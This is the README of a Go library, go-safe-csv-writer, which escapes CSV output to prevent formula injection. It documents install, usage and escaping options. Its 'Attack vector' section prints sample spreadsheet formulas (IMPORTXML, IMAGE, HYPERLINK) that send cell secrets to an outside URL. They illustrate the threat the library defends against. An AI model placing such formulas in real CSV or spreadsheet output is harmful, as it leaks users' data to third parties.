Skip to content

samber/go-safe-csv-writer

Repository files navigation

Safe CSV writer

tag Go Version GoDoc Build Status Go report Coverage Contributors License

A fork of encoding/csv (go v1.23.4) package from Go stdlib, preventing CSV injection and data exfiltration, while maintaining compatibility with the original library.

🥷 Attack vector

Simple formula

The following CSV:

col1,col2,col3
-21-21,=A1,42

Would be rendered in Excel like this:

col1,col2,col3
-42,col1,42

Advanced formula

The following CSV might request external resource and leak data.

userId,secret
1,secret1
2,secret2
3,"=IMPORTXML(CONCAT(""http://samuel-berthe.fr?dump="", CONCATENATE(A1:B6)), ""//a"")"
4,=IMAGE("http://samuel-berthe.fr?dump=" & INDIRECT("B2"))
5,=HYPERLINK("http://samuel-berthe.fr?dump=" & INDIRECT("B2"), "a link")

Protect

See https://georgemauer.net/2017/10/07/csv-injection.html.

and https://owasp.org/www-community/attacks/CSV_Injection

🚀 Install

go get github.com/samber/go-safe-csv-writer

This library is v0 and follows SemVer strictly.

Some breaking changes might be made to exported APIs before v1.0.0.

🤠 Getting started

GoDoc: https://godoc.org/github.com/samber/go-safe-csv-writer

import csv "github.com/samber/go-safe-csv-writer"

func main() {
    var buff strings.Builder

    writer := csv.NewSafeWriter(
        &buff,
        &SafetyOpts{
            ForceDoubleQuotes: true,
            EscapeCharEqual:   true,
        },
    )
    writer.Write([]string{"userId", "secret", "comment"})
    writer.Write([]string{"-21+63", "=A1", "foo, bar"})
    writer.Flush()

    if err := writer.Error(); err != nil {
        panic(err)
    }

    output := buff.String()
    // "userId","secret","comment"
    // "-21+63"," =A1","foo, bar"
}

🍱 Reference

// Prototype:
func NewSafeWriter(w io.Writer, opts SafetyOpts) *SafeWriter
// Available options:

type SafetyOpts struct {
    ForceDoubleQuotes bool
    EscapeCharEqual   bool
    EscapeCharPlus    bool
    EscapeCharMinus   bool
    EscapeCharAt      bool
    EscapeCharTab     bool
    EscapeCharCR      bool
}
// Presets:

var FullSafety = SafetyOpts{
	ForceDoubleQuotes: true,
	EscapeCharEqual:   true,
	EscapeCharPlus:    true,
	EscapeCharMinus:   true,
	EscapeCharAt:      true,
	EscapeCharTab:     true,
	EscapeCharCR:      true,
}

var EscapeAll = SafetyOpts{
	ForceDoubleQuotes: false,
	EscapeCharEqual:   true,
	EscapeCharPlus:    true,
	EscapeCharMinus:   true,
	EscapeCharAt:      true,
	EscapeCharTab:     true,
	EscapeCharCR:      true,
}

🤝 Contributing

Don't hesitate ;)

# Install some dev dependencies
make tools

# Run tests
make test
# or
make watch-test

👤 Contributors

Contributors

💫 Show your support

Give a ⭐️ if this project helped you!

GitHub Sponsors

📝 License

Copyright © 2024 Samuel Berthe.

This project is MIT licensed.